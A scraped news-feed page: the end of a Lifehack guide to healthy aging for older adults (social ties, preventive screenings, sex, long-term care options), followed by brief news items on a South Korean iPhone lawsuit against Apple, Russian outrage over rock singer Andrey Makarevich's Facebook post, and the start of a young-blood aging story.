  • Spend time with friends and family: Having a strong social network with family, friends and colleagues makes you healthier and extends your life according to studies from Brigham Young University.[11] In fact, according to a study from the University of North Carolina, Chapel Hill, a wide social network is as important as exercise and diet in maintaining our health.
  • Be mindful and meditate: It may sound like hocus pocus to you, but mindfulness and meditation are going mainstream. Even researchers at Harvard are touting the benefits of meditation for seniors.[12] Only 15 minutes a day can improve your mind, health and mood while reducing stress, pain and depression.

Preventive care

It’s always better to stay one step ahead, especially when it comes to your health. If you’re willing to take your car into the shop for a tune up every year, there’s no excuse not to do the same for yourself.

As a senior, the frequency with which you should visit your doctors, get vaccinations and screen for any issues to ensure you prevent and nip any problems in the bud can make a significant difference to your health.

Here’s a list of preventive care measures recommended by the U.S. Health Department (please discuss with your doctor):[13]

  • Abdominal aortic aneurysm one-time screening for men of specified ages who have ever smoked
  • Aspirin use to prevent cardiovascular disease for men and women of certain ages (Talk with your doctor about taking aspirin every day)
  • Blood pressure screening for all adults
  • Breast cancer screening every 2 years between ages 55-74
  • Cholesterol screening for adults of certain ages or at higher risk
  • Colorectal cancer screening annually to at least age 65
  • Diabetes (type 2) screening for adults with high blood pressure
  • Diet counseling for adults at higher risk for chronic disease
  • Hepatitis C screening for adults at increased risk and one-time screening for everyone born between 1945 and 1965
  • HIV screening for everyone ages 15 to 65, and other ages at increased risk
  • Immunization vaccines for adults (doses, recommended ages, and recommended populations vary):
    – Hepatitis A
    – Hepatitis B
    – Herpes Zoster (Shingles)
    – Human Papillomavirus (HPV)
    – Influenza (Flu)
    – Measles, Mumps, Rubella (MMR)
    – Meningococcal
    – Pneumococcal
    – Tetanus, Diphtheria, Pertussis
    – Varicella (Chickenpox)
  • Lung cancer screening for adults ages 55 to 80 who are at high risk because they are heavy smokers or have quit in the past 15 years
  • Obesity screening and counseling for all adults
  • Get tested for Chlamydia and Gonorrhea
  • Syphilis screening for all adults at higher risk
  • Tobacco use screening for all adults and cessation interventions for tobacco users

I also recommend you get an annual wellness check-up, an eye exam every year for adults over 60 years of age and a teeth cleaning once a year if your teeth are in good condition.

Visiting your doctor once a year is not only essential to spot check your health and take the appropriate tests, it’s also a good opportunity to discuss and review medications with your doctor – a key determinant of your health.

Social relationships (And sex)

Staying socially engaged helps seniors in everything from staying in shape to staying mentally fit and extending your lifespan.

According to the National Institute on Aging, research indicates that:[14]

  • Deep social relationships are associated with positive health bio-markers;
  • Social well-being is associated with lower inflammation that causes Alzheimers, osteoporosis, arthritis and cardiovadcular disease;
  • Social isolation is a strong risk factor for morbidity and mortality, especially among older adults;
  • Loneliness is correlated to high blood pressure;
  • Loneliness is a risk factor for depression.

So create and maintain positive relationships with family, friends and colleagues. If you feel isolated, try volunteering, joining a gym with fitness classes, playing cards, going for coffees with friends and doing dinners with family.

But if you really want to add some spice to your life and improve your health, you should have more sex! Yes, it’s doctors’ orders and here’s why:

  • Sex improves your sleep. Orgasms increase the hormone oxytocin and decrease cortisol, reducing stress and anxiety.[15]
  • Sex keeps you looking younger. According to a study by Scotland’s Royal Edinburgh Hospital, older couples who have sex at least 3 times a week look up to 7 years younger than their peers.[16]
  • Sex makes you happy. We know happy is important to our overall health. According to one study , couples having sex once a week were 44 percent happier than those who had no sex in the past year.[17]

Long-term care

As seniors lose the ability to perform activities of daily living on their own (bathing, cooking, dressing, toileting, cleaning, driving, etc.), it becomes essential to find long-term care solutions while helping them live as independently and safely as possible.

It’s important you start planning, saving and sharing your preferences with your family members before you need the care. These decisions are often expensive, complex and will have a significant impact on you and your loved ones as you age.

Long-term care comes in many forms. The National Institute of Aging describes them as follows:[18]

  • Home health care: Home health care is usually related to medical services provided in a home setting. These services might include physical, occupational or speech therapy.
  • Homemaker services: Homemaker services usually describe care involving assistance with activities of daily living like bathing, toileting and food preparation.
  • Friendly visitor / Companion services: Companion services are offered by private agencies or volunteers who pay visits to seniors who are frail or living alone.
  • Transportation services: Transportation services help seniors get to and from medical appointments, senior centers, the shopping mall and more. With reduced mobility, transportation is essential to help seniors manage their lives and stay involved and connected within their communities.
  • Emergency response systems: This is especially useful for seniors living alone or at risk of falling, medical alert systems allow users to press a help button on their wrist or around their neck in the event of an emergency.
  • Adult day care: Adult day care is a daytime center that offers activities for seniors throughout the day, offering a social environment, meals and activities without the expense of boarding.
  • Residential facilities: Residential care facilities or boarding homes offer residents private or shared rooms, personal care, medication dispensing and meals. Staff are available at all times. However, there is limited help with activities of daily living and no medical care provided.
  • Assisted living communities: Assisted living communities are for seniors who also need assistance with activities of daily living like bathing, dressing, toileting and cooking. There are typically organized activities and common areas to encourage sociability as well.
  • Nursing homes: Nursing homes offer patients skilled nursing assistance, medical treatment, 24 hour care and physical therapy in addition to meals and assistance with activities of daily living.

Healthy aging begins with you

Aging healthily doesn’t happen by chance. Sure there’s the luck of the genetic draw but barring luck, there’s a lot we can do to improve our chances of living well into our golden years with health, happiness, vigor and purpose.

Following the approach set out in this guide will help you establish the diet, sleep, exercise, social and preventative care habits that will not only help you live longer, but better!

Featured photo credit: Unsplash via unsplash.com

Reference

[1] ^ United States Department of Health and Human Services: Multiple Chronic Conditions: A Strategic Framework
[2] ^ National Institute on Aging: Getting Enough Fluids
[3] ^ The Cancer Project.org: The Nutrition Rainbow
[4] ^ USDA: Dietary Guidelines
[5] ^ National sleep foundation: Recommended new sleep times
[6] ^ Healthy Sleep: Sleep and Disease Risk
[7] ^ TIME: How Exercise May Help Protect Your Brain From Cognitive Decline and Dementia
[8] ^ Psychology Today: What Daily Habit Can Boost “Healthy Aging” Odds Sevenfold?
[9] ^ Ron Gutman: The hidden power of smiling
[10] ^ The Telegraph: Every hour of TV watching shortens life by 22 minutes
[11] ^ BYU News: Stayin’ alive: That’s what friends are for
[12] ^ Harvard Medical School: Now and Zen: How mindfulness can change your brain and improve your health
[13] ^ USA Health Care Department: Preventive care benefits for adults
[14] ^ National Institute on Aging: Research Suggests a Positive Correlation between Social Interaction and Health
[15] ^ NCBI: Influence of sex on sleep regulatory mechanisms.
[16] ^ Scotland’s Royal Edinburgh Hospital: Sex is the secret to looking younger, claims researcher
[17] ^ University of Colorado Boulder: In sex, happiness hinges on keeping up with the Joneses
[18] ^ National Institute of Aging: What Is Long-Term Care?

The post A Definitive Guide to Healthy Aging (For Older Adults) appeared first on Lifehack.

]]> https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults/feed/ 0 Over 60,000 iPhone users in South Korea sue Apple for slowing down aging devices https://briefnews.eu/over-60000-iphone-users-in-south-korea-sue-apple-for-slowing-down-aging-devices/ https://briefnews.eu/over-60000-iphone-users-in-south-korea-sue-apple-for-slowing-down-aging-devices/#respond Fri, 30 Mar 2018 19:53:07 +0000 http://briefnews.eu/over-60000-iphone-users-in-south-korea-sue-apple-for-slowing-down-aging-devices/

Authorities in South Korea announced that 63,767 iPhone users in the country have lodged a mass lawsuit against US tech giant Apple for slowing down older models.

It is South Korea’s biggest-ever class action lawsuit, and demands that Apple pay millions of dollars in damages.

According to Xinhua news agency, the users are represented by local law firm Hannuri. It has filed the class action lawsuit with the Seoul Central District Court against Apple and Apple Korea, the local unit of the iPhone manufacturer.

The iPhone customers are demanding damages worth 200,000 won ($ 188) per plaintiff, or 12.75 billion won ($ 12 million) in total.

Media reported that around 400,000 iPhone customers originally sought to join the legal action, but the number fell in the course of verifying identification and providing the necessary documents.

A wave of legal cases across the world followed Apple’s acknowledgement that it had slowed down iPhones as they got older. The company claimed that it had algorithms in place to keep an iPhone running at optimal performance if there was an older battery inside that can’t keep up with the required power. The measure was aimed at preventing devices from unexpected shutdowns and keeping them running at their best.

Hannuri said that though Apple recognized the underperformance of iPhones via the iOS upgrade, it covered up the truth in offering the software to hide faulty batteries, prevented customer secession and promoted the sale of new models.

Earlier this year, civic group activists representing hundreds of iPhone users filed their respective class action suits against Apple and Apple Korea for damages worth 2.2 million won ($ 2,070) per person.

For more stories on economy & finance visit RT’s business section

Let’s block ads! (Why?)

]]> https://briefnews.eu/over-60000-iphone-users-in-south-korea-sue-apple-for-slowing-down-aging-devices/feed/ 0 Outrage as aging rock star insults Russians in Facebook post https://briefnews.eu/outrage-as-aging-rock-star-insults-russians-in-facebook-post/ https://briefnews.eu/outrage-as-aging-rock-star-insults-russians-in-facebook-post/#respond Tue, 20 Mar 2018 10:12:32 +0000 http://briefnews.eu/outrage-as-aging-rock-star-insults-russians-in-facebook-post/ After Russian rock legend Andrey Makarevich said that Russians are turning into “mean idiots,” fellow rockers, politicians, and diplomats replied with indignation and demands to stop publicly insulting the nation.

On Monday, shortly after the Russian presidential election, Andrey Makarevich, the 64-year-old frontman of rock band Mashina Vremeni, wrote on Facebook that he was shocked by how much US citizens were calmer, happier, and kinder than Russians. Soon after the initial post, Makarevich replied to a comment from another user that he suspects Russia state TV is using “some sort of 25th frame that turns humans into mean idiots.” 

The initial post and subsequent insulting comment drew a wave of indignation that soon burst outside social media into the mass media.

Another famous Russian rock star, Va-Bank frontman Aleksandr Sklyar, told RT that Makarevich was communicating with a special kind of Russian known only to himself. “I simply pity him. If he sees Americans as kind he should move to America and live there among kind people,” Sklyar said.

Read more

TV hostess, presidential candidate from the Civic Initiative party Ksenia Sobchak before a meeting with Central Election Commission © Evgeny Biyatov

State Duma deputy Vitaly Milonov, known for his conservative, Christian views, speculated that the “mean idiots” comment was made about Makarevich’s own entourage. He said that when Makarevich writes about Russians, he means the liberals that surround him, and Americans are nice to him out of sympathy. “But he should not take the approving nods of psychiatrists as a sign of agreement with his position,” Milonov said.

MP Natalia Poklonskaya said that “Makarevich must have been talking about himself.”

Russian Foreign Ministry spokesperson Maria Zakharova took to Facebook to say: “Anyone who wants to call Russians ‘mean idiots’ should remember the experiment made in 2018 when your presidential candidate got 1.6 percent of votes after calling our people ‘genetic trash.’ Stop insulting us, you have no right for this!” (The candidate who received about 1.6 percent of the vote in the March 18 presidential election is ex-socialite and magazine editor Ksenia Sobchak who said that she considers Russia to be a country of “genetic trash” in a 2010 interview with Sobesednik Magazine).

Despite the criticism, Makarevich said that he had no intention of apologizing, but played down his initial statement, explaining that he was condemning state propaganda and not the Russian people as a whole.

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Workers by the building of the US Embassy in Moscow located at 9 Devyatinsky Lane © Maksim Blinov

This is not the first time a Russian artist has provoked scandal by an excessively generalizing public statement. Last month, actor Aleksey Serebryakov, who has starred in many Russian films and currently lives in Canada, gave a video interview broadcasted on the internet in which he alleged that “force, cheekiness and rudeness” formed Russia’s national idea.

The statement was reposted by hundreds of media outlets and drew the ire of many. Serebryakov replied that he would stand by his words and added that he did not care about other people’s opinions about himself, with one exception – his wife.

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]]> https://briefnews.eu/outrage-as-aging-rock-star-insults-russians-in-facebook-post/feed/ 0 The vampire molecule: scientists discover why young blood helps reverse aging https://briefnews.eu/the-vampire-molecule-scientists-discover-why-young-blood-helps-reverse-aging/ https://briefnews.eu/the-vampire-molecule-scientists-discover-why-young-blood-helps-reverse-aging/#respond Sat, 03 Mar 2018 15:28:05 +0000 http://briefnews.eu/the-vampire-molecule-scientists-discover-why-young-blood-helps-reverse-aging/ Young blood can reverse signs of aging

Scientists have identified a ‘master regulator’ in young blood that can mostly reverse aging in the brain.

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